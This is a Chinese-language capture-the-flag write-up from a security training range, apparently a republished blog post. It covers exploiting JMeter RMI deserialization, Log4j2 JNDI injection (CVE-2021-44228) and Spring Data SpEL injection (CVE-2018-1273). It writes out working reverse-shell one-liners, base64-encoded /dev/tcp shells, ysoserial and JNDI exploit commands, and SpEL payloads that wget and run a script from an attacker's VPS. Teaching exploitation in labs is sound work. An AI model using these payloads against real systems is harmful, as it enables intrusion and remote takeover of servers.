前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >【揭秘三】练武靶场

【揭秘三】练武靶场

作者头像
Ms08067安全实验室
发布2024-12-19 15:14:51
发布2024-12-19 15:14:51
960
举报

“Ms08067专注网络安全技能培训 | 竞赛!“

号外号外,"Ms08067练武场" 最强劲的第三批选手打靶思路来啦。

官网链接:http://attck.ms08067.com/

Jmeter RMI 反序列化命令执行漏洞

简介:

Apache JMeter是美国阿帕奇(Apache)软件基金会的一套使用Java语言编写的用于压力测试和性能测 试的开源软件。其2.x版本和3.x版本中存在反序列化漏洞,攻击者可以利用该漏洞在目标服务器上执行 任意命令。

复现

利用ysoserial工具

https://gitcode.com/gh_mirrors/ys/ysoserial/overview?utm_source=highlight_word_gitcode&word =ysoserial

先在自己的vps起个监听

代码语言:txt
复制
nc -lvvp 7777

然后将反弹shell命令加密

代码语言:txt
复制
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=} |{base64,- d} |{bash,-i}

最后利用ysoserial工具直接执行

代码语言:txt
复制
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 27.25.151.24
20999 BeanShell1 'bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=} |{base64,-d} | {bash,-i}'

查看反弹shell即可拿到flag

log4j2 远程代码执行漏洞复现(CVE-2021- 44228)

漏洞简介:

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该 工具将程序的输入输出信息进行日志记录。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是 由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行 漏洞,从而获得目标服务器权限。

在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用。

例如当开发者想在日志中打印今天的日期,则只需要输出{data:MM-dd-yyyy},此时log4j会将{}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22- 2022” ,这样做就不需要开发者自己去编写查找日期的代码。

表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往 就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。

其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最终要的原因是log4j还支持JNDI协议。

漏洞适用版本

2.0 <= Apache log4j2 <= 2.14.1

访问:

利用JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 下载地址为:https://github.com/welk1 n/JNDI-Injection-Exploit/releases/tag/v1.0

代码语言:txt
复制
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机 的ip"

本次在vps上利用反弹shell

代码语言:txt
复制
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OS4xMjgvNzc3NyAwPiYx} |{base64,-d} 

起好之后,在vps再起一个监听

代码语言:txt
复制
nc -lvvp 9999

将之前生成的连接进行尝试

经过测试,红框中的连接成功反弹shell env拿到flag

spring 代码执行 (CVE-2018-1273)

漏洞概述

SpringData是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达 式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响范围

Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10) Spring Data REST 2.6 – 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 – 3.0.5 (Kay SR5)

访问页面

进行目录扫描发现有个users 目录,进行访问

然后利用burp抓包发送到重放模块。

再自己的vps中写一个反弹shell的脚本内容如下:

代码语言:txt
复制
bash -i >& /dev/tcp/vps地址/端口 0>&1

修改burp抓包容将payload放入请求包中 paylaod1:

代码语言:txt
复制
username[#this.getClass().forName("java.lang.Runtime").getRuntime().
exec("wget /tmp http://vps地址/写好的反弹shell文件")]=&password=&repeatedPassword=

发送后会显示500

然后再发送一个payload进行执行刚刚写入的shell payload2:

代码语言:txt
复制
username[#this.getClass().forName("java.lang.Runtime").getRuntime().
exec("bash /shell.sh")]=&password=&repeatedPassword=

反弹shell成功即可读取flag

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-12-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档